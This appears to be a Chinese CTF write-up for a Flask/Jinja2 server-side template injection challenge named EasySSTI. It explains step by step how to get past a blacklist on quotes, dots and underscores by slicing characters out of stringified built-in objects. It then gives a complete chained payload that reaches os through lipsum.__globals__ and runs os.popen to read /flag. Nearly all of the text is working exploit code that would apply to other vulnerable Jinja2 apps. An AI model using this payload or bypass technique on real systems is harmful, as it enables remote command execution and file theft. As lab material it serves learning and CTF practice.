【WEB】EasySSTI

用7+7测试后发现成功进行算数,

通过config能看到是Flask 模板。

经过测试后发现引号,点,下划线等等都进了黑名单。

但我们可以得到一串每次请求都固定的文字,当 "字母仓库":

复制代码
{{lipsum|string}}
  • lipsum:Jinja2 模板自带的全局函数。
  • |:管道符,把左边的值 "喂给" 右边的过滤器。
  • string:把对象转成它的字符串样子。

lipsum 是 Jinja2 模板内置的一个函数, 但函数本身是个 "对象" 不是文字,没法直接当字符用。|string 过滤器的职责就是把任意对象转成它的文字描述 ------Python 对一个函数做这件事时,固定输出 <function 它的真名 内存地址>。而 lipsum 的真名恰好叫 generate_lorem_ipsum,于是我们可以看到<function generate_lorem_ipsum 。这串文字内容固定、字母齐全还带下划线,就成了我们的 "字母仓库"。

而第一个下划线_数下标从左往右数位于第18位。

我们把这19个字符组成一组,第一组有0~18位,我们需要拿第一组的最后一位,也就是下划线_。

复制代码
{{(lipsum|string)|batch(19)|first|last}}
  • (lipsum|string):先拿到字母仓库。
  • |batch(19):把按每 19 个字符成一组,第一组 = 第 0~18 位。
  • |first:拿第一组;|last:拿这一组最后一个 = 第 18 位。
  • 查表后第 18 位正好是下划线 _,于是回显 _。所以哪怕下划线进了黑名单,我们也能不打下划线也能得到下划线。

假如说我们要取f,f按下标来说位于1,按每两个字符进行分组,第一组=\<,f,由last取最后一个也就是f:

复制代码
{{(lipsum|string)|batch(2)|first|last}}

所以我们可以取出里面的任意字母。

但是这里面缺少了几个字母,如果最终我们要拿 __globals__,所以b就很重要。

Python 把任意"内置方法对象 "转成字符串时,固定长这样:<built-in method 方法名 of 类型 object...> ------ 开头 built-in 就自带 b,所以我们要找一个没进黑名单并且自带内置方法的对象,比如说dict()空字典,而这个空字典的字典方法里有几个都在仓库字母里的,比如pop,get。这里我们用pop。

如果写 dict().pop,点号却被过滤了,虽然可以用 |attr("pop"),可**引号也被过滤,**所以得用 ~进行拼接:

  • (lipsum|string)|batch(27)|first|last = 第 26 位 = p

  • (lipsum|string)|batch(8)|first|last = 第 7 位 = o

  • 再来一个 batch (27) = p

  • ~是 Jinja 的字符串拼接符,三段拼成 pop ;外面多包一层 ( ) 是把整个拼接结果作为 attr 的一个参数。

    (lipsum|string)|batch(27)|first|last(lipsum|string)|batch(8)|first|last(lipsum|string)|batch(27)|first|last
    +
    {{dict()|attr(())|string}}

    {{dict()|attr(((lipsum|string)|batch(27)|first|last(lipsum|string)|batch(8)|first|last(lipsum|string)|batch(27)|first|last))|string}}

但是到这里有个问题,像之前我们的pop这些都是特别短的内联写法,而__globals__这类的却有11个字符,真要搞下来估计连ai都搞不明白了。

那就换个方式。

我们把一个值存在变量里面,也就是{%set 变量=值%},它是 Jinja2 里的赋值语句。

所以我们先把整个字母仓库存到S里面,

复制代码
{%set S=lipsum|string%}

与原来的效果是一样的,同样可以得到固定仓库。

接下来就是取下划线,变量名为und。

复制代码
{%set und=S|batch(19)|first|last%}

然后我们把可能需要的字母一个个拿出来并放进不同的变量里。

复制代码
{%set fc=S|batch(2)|first|last%}    f
{%set uc=S|batch(3)|first|last%}    u
{%set nc=S|batch(4)|first|last%}    n
{%set cc=S|batch(5)|first|last%}    c
{%set tc=S|batch(6)|first|last%}    t
{%set ic=S|batch(7)|first|last%}    i
{%set oc=S|batch(8)|first|last%}    o
{%set gc=S|batch(11)|first|last%}    g
{%set ec=S|batch(12)|first|last%}    e
{%set rc=S|batch(15)|first|last%}    r
{%set ac=S|batch(16)|first|last%}    a
{%set lc=S|batch(20)|first|last%}    l
{%set mc=S|batch(24)|first|last%}    m
{%set pc=S|batch(27)|first|last%}    p
{%set sc=S|batch(28)|first|last%}    s
{%set xc=S|batch(36)|first|last%}    x
{%set dc=S|batch(47)|first|last%}    d
{%set spc=S|batch(10)|first|last%}    空格

接下来就是把pop存放进一个变量里。

复制代码
{%set pn=pc~oc~pc%} = p~o~p = "pop"

接下来把我们的dict()空字典存放进变量里。

复制代码
{%set D=dict()|attr(pn)|string%}

接下来拼出__globals__。

复制代码
{%set H=und~und~gc~lc~oc~bc~ac~lc~sc~und~und%}

接下来拼出__getitem__和os。

复制代码
{%set I=und~und~gc~ec~tc~ic~tc~ec~mc~und~und%}
{%set J=oc~sc%}

名字备齐全了,可以开始取对象了,先从函数的全局变量字典开始。

复制代码
{%set K=lipsum|attr(H)%}    =lipsum.__globals__

既然可以dict()|attr("pop")=dict().pop,那也可以globals。

而Jinja2 的 utils.py 必然 import os,所以这本全局字典里必然登记着 os;

__getitem__ 则是字典取键 ['os'] 的底层方法;

所以连起来就是:

复制代码
{%set L=K|attr(I)(J)%}
=
K.__getitem__("os")
=
__globals__["os"]

os被存进了变量L里面。最后我们的命令执行需要cat /flag。因为引号进了黑名单,写不出字面的"/",字母仓库里也拿不出/,所以只好让 Python 自己吐出一个斜杠存进变量里

在os模块中,有个separator(简写为sep) 分隔符,对象是当前的系统,假如当前系统为linux,则这个分隔符为/,加入是windows,则是\\,而当前系统就为linux,所以我们os.sep就能得到/。

相对应的,os.curdir 能得到点号 "."。

把os.sep存进变量M。

复制代码
{%set M=L|attr(sc~ec~pc)%}
=
L.sep

既然要执行cat /flag,就要有一个能够执行系统命令的os模块里的函数。比如说打开进程就是process open,简写为popen,把这个存进变量N里。

复制代码
{%set N=pc~oc~pc~ec~nc%}

popen虽然把我们的命令执行了,但执行后的内容还在里面,并没有被读取出来,所以我们要有一个read方法并最后调用它,把read方法存进变量O里面。

复制代码
{%set O=rc~ec~ac~dc%}

最后就是cat /flag,注意要有个空格和变量M,存进变量p里面:

复制代码
{%set P=cc~ac~tc~spc~M~fc~lc~ac~gc%}

变量存完了,先来总结一下。需要调用__globals__的os(L)模块里的popen(N)方法,然后通过popen(N)方法执行我们的cat /flag(P)命令,最后再调用read(O)方法把执行后的内容读取出来,注意os模块是在 __globals__里的,所以我们要取的变量是L,而不是直接取os的变量J。

具体如下:

复制代码
os.popen("cat /flag").read()
=
{{L|attr(N)(P)|attr(O)()}}

最后把以上的全部连起来,注意要去掉空格并且set后要换行。

因为有空格会被黑名单拦截,没空格setS直接被当成一个词,所以只能换行,换行也是合法空白,能替空格分词。

复制代码
{%set
S=lipsum|string%}{%set
und=S|batch(19)|first|last%}{%set
fc=S|batch(2)|first|last%}{%set
uc=S|batch(3)|first|last%}{%set
nc=S|batch(4)|first|last%}{%set
cc=S|batch(5)|first|last%}{%set
tc=S|batch(6)|first|last%}{%set
ic=S|batch(7)|first|last%}{%set
oc=S|batch(8)|first|last%}{%set
gc=S|batch(11)|first|last%}{%set
ec=S|batch(12)|first|last%}{%set
rc=S|batch(15)|first|last%}{%set
ac=S|batch(16)|first|last%}{%set
lc=S|batch(20)|first|last%}{%set
mc=S|batch(24)|first|last%}{%set
pc=S|batch(27)|first|last%}{%set
sc=S|batch(28)|first|last%}{%set
xc=S|batch(36)|first|last%}{%set
dc=S|batch(47)|first|last%}{%set
spc=S|batch(10)|first|last%}{%set
pn=pc~oc~pc%}{%set
D=dict()|attr(pn)|string%}{%set
bc=D|batch(2)|first|last%}{%set
H=und~und~gc~lc~oc~bc~ac~lc~sc~und~und%}{%set
I=und~und~gc~ec~tc~ic~tc~ec~mc~und~und%}{%set
J=oc~sc%}{%set
K=lipsum|attr(H)%}{%set
L=K|attr(I)(J)%}{%set
M=L|attr(sc~ec~pc)%}{%set
N=pc~oc~pc~ec~nc%}{%set
O=rc~ec~ac~dc%}{%set
P=cc~ac~tc~spc~M~fc~lc~ac~gc%}{{L|attr(N)(P)|attr(O)()}}

因为再输入框里无法进行换行,所以得去bp里重放,当然在此之前得先进行url编码,不然很容易和原来bp里的格式冲突。

最终成功得到flag:

相关推荐
奈葵2 小时前
Python
开发语言·python
m0_587383002 小时前
深圳 24 小时自助健身房系统软件开发实战指南与案例解析
java·spring boot·小程序·架构·需求分析
Nebula_g2 小时前
JavaSE项目实践:红包雨-线程池/线程
java·开发语言
外收内放2 小时前
Python基础语法练习题(56优化版补充)
开发语言·python
小羊没烦恼!2 小时前
jQuery1.5的改进细节
java·服务器·开发语言·前端·c#
霸道流氓气质2 小时前
Prompt 版本控制与 A/B 测试实战:语义版本管理、一致性哈希分流与 Thompson Sampling 的 Java 生产级实现
java·prompt·哈希算法
独孤九剑打醒他2 小时前
【原创开源·修订版】源-栅-漏-栅-源横向双栅MOS:从“被误解的短路”到“电流路径多值逻辑与顶层供电架构”
前端·嵌入式硬件·架构·开源·硬件工程
阿狗童鞋2 小时前
React实战指南
前端·react.js·前端框架
程序员老陆3 小时前
C++ 未定义行为全景:对象模型、优化边界与工程防御
开发语言·c++·程序设计